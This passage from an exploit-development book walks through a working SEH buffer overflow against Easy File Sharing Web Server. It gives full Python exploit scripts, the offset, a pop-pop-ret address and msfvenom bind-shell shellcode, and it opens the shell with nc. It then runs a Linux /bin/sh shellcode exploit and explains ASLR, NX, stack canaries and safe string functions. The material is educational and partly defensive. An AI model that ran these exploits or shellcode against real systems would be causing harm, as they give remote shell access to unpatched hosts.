9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc
4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe
9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh
4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj
9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm
4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo
9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr
4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft
9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw
4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy
9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb
4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd
9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg
4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi
9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()

Close the Immunity Debugger, and re-run Easy File Sharing Web Server. Run the Immunity
Debugger as an administrator and attach it to fsws, then run the exploit.
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The application crashed; let's use mona to perform some analysis on our pattern:

!mona findmsp

The output of the preceding command can be seen in the following screenshot: 

So the offset of the nSEH should be after 4061.
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Let's confirm that by restarting the application and the Immunity Debugger:

#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)

injection = junk + nSEH + SEH + pad

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()

Now, let's run the exploit:

Hit Shift + F9 to bypass the exception:
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Get the SEH chain (Alt + S):

Let's look for the address 04AD6FAC in the stack:

 

Our Bs are in the next SEH, and our Cs are in the SEH. Now, we have control over SEH for
this application.

Injecting shellcode 
So, this is what the shellcode looks like:

What we need now is to set nSEH for a short jump operation, \xeb\x10, and set SEH with
an address to the pop, pop, and ret operations. Let's try to find one using mona.

First, set the log file location in the Immunity Debugger:

!mona config -set workingfolder c:\logs\%p

Then, extract the SEH details:

!mona seh
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The following screenshot shows the output for the preceding command:

We need an address without any bad characters, so open the log file from
c:\logs\fsws\seh.txt.

Let's select one, but remember to avoid any bad characters:

0x1001a1bf : pop edi # pop ebx # ret  |  {PAGE_EXECUTE_READ}
[ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False,
v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

Here is our address for SEH 0x1001a1bf:

SEH = '\xbf\xa1\x01\x10'

Now, it is time to generate and bind TCP shellcode on port 4321:

$ msfvenom -p windows/shell_bind_tcp LPORT=4321 -b
'\x00\x20\x25\x2b\x2f\x5c' -f python

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"



Real-World Scenarios – Part 3 Chapter 11

[ 306 ]

buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

This is what the structure of our exploit should look like:

Let's take a look at our final exploit:

#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10'
NOPs='\x90'*20

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
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buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

injection = junk + nSEH + SEH + NOPs + buf

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()

Close the application and start it again. Then, run the exploit and run nc on port 4321:

$ nc 192.168.129.128 4321
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The output of the preceding command is shown as follows:

It works fine!

Summary 
In this chapter, we did a real scenario on something new, which is SEH-based buffer
overflow, and looked at how to get control over SEH and exploit it.

What we have done in this book so far is to just scratch the surface of this type of attack, and
you should practice this more because this is not the end.

In the next chapter, we will talk about security mechanisms in systems and how to make
your code safer.



12
Detection and Prevention

Finally, to the last chapter of the book. Here, we will talk about security mechanisms to 
prevent buffer overflow attacks. Let's divide these mechanisms into three parts:

System approach
Compiler approach
Developer approach

System approach
In this part, we will talk about built-in mechanisms inside some system kernels to prevent
techniques, such as ASLR, in buffer overflow attacks.

Address Space Layout Randomization (ASLR) is a mitigation technique against overflow
attacks that randomizes memory segments, which prevents hardcoded exploits. For
example, if I want to use the return-to-lib technique, I have to get the address of the
function, which will be used in the attack. However, since the addresses of memory
segments are randomized, the only way to do it is to guess that location, and yes, we use
this technique to bypass NX protection, but not bypass ASLR.
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For security geeks out there, don't worry; there are many ways to get around ASLR. Let's
take a look at how ASLR really works. Open your Linux victim machine and make sure that
ASLR is disabled:

$ cat /proc/sys/kernel/randomize_va_space

The output of the preceding command can be seen in the following screenshot: 

ASLR is disabled since the value of randomize_va_space is 0. If it is enabled, set it to 0:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, let's take a look at the addressing layout for any application, for example, cat:

$ cat

Then, open another Terminal. Now, we need to get the PID of this process using the
following command:

 $ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 

The PID of cat is 5029. Let's get the memory layout for this process:

$ cat /proc/5029/maps
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The output of the preceding command can be seen in the following screenshot: 

Now, let's stop the cat process using Ctrl + C, and then start it again:

$ cat

Then, from another Terminal window, run the following command:

$ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 

Now, the PID of cat is 5164. Let's get the memory layout for this PID:

$ cat /proc/5164/maps
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The output of the preceding command can be seen in the following screenshot: 

Take a look at the memory layout of both PIDs; they are exactly the same. Everything is
statically allocated in memory, such as libraries, stack, and heap.

Now, let's enable ASLR to see the difference:

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Make sure that ASLR is enabled:

$ cat /proc/sys/kernel/randomize_va_space

The output of the preceding command can be seen in the following screenshot: 

Then, let's start any process, for example, cat:

$ cat
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Then, from another Terminal window, run the following command:

$ ps aux | grep cat

The output of the preceding command can be seen in the following screenshot: 

The PID of cat is 5271. Now, read its memory layout:

$ cat /proc/5271/maps

The output of the preceding command can be seen in the following screenshot: 

Now, let's stop cat and re-run it again:

$ cat

Then, let's catch the PID of cat:

$ ps aux | grep cat
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The output of the preceding command can be seen in the following screenshot: 

Now, read its memory layout:

$ cat /proc/5341/maps

The output of the preceding command can be seen in the following screenshot: 

Let's compare both addresses. They are totally different. Stack, heap, and libraries are all
now dynamically allocated, and all addresses will become unique for every execution.
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Now to the next section, which is the compiler approach, such as executable-space 
protection and canary.

Compiler approach 
Executable-space protection is a technique used to mark some segments in memory as non-
executable, such as stack and heap. So, if we even succeeded to inject a shellcode, then it
would be impossible to make that shellcode run.

Executable-space protection in Linux is called non-executable (NX), and in Windows it is
called Data Execution Prevention (DEP).

Let's try to use our example from Chapter 6, Buffer Overflow Attacks:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Now, compile it with NX disabled:

$ gcc -fno-stack-protector -z execstack nx.c -o nx

Open it in GDB:

$ gdb ./nx
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Then, let's run this exploit:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer +=
'\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Execute the exploit:

$ python exploit.py

Inside GDB, run the following command:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 

Now, let's try the same exploit but with NX enabled:

$ gcc -fno-stack-protector nx.c -o nx
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Then, open it in GDB and run the following command:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 

So, why did the code get stuck at this address?

Because it refuses to even execute our No Operation (nop) from the stack, as the stack is
now non-executable.

Let's talk about another technique, which is stack canary or stack protector. Stack canary is
used to detect any attempt to smash the stack.
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When a return value is stored in a stack, a value called canary value is written before
storing the return address. So, any attempt to perform a stack overflow attack will
overwrite the canary value, which will cause a flag to be raised to stop the execution
because there is an attempt to smash the stack:

Now, try to use our previous example, but let's enable the stack canary:

$ gcc -z execstack canary.c -o canary

Then, let's re-run it inside GDB and try our exploit:

$ run $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 
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Let's take a look at why it failed:

It tried to compare the original canary value with the stored value, and it failed because we
did overwrite the original value with whatever was there in our exploit:

And as you can see, stack smashing was detected!

Developer approach 
Now to the final part, which is the developer approach, where any developer should do all
they can to protect their code against overflow attacks. I'll talk about C/C++, but the concept
still remains the same.

First, when using any string handling function, you should use safe functions. The next
table shows unsafe functions and what to use instead:

Unsafe functions Safe functions

strcpy strlcpy

strncpy strlcpy

strcat strlcat

strncat strlcat

vsprintf vsnprintf or vasprintf

sprintf snprintf or asprintf
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Also, you should always use the sizeof function to calculate the size of a buffer in your
code. Try to be precise when it comes to the buffer size by mixing it with a safe function;
then, your code is much safer now.

Summary
In the final chapter of the book, we discussed some protection techniques in operating
systems and also some techniques in the C compiler, such as GCC. Then, we moved on to
how to make your code safer.

This is not the end. There are more ways to work around each protection technique. With
this book, you have been provided with strong basics to continue your journey. Keep going
and I promise you that you will master this domain!
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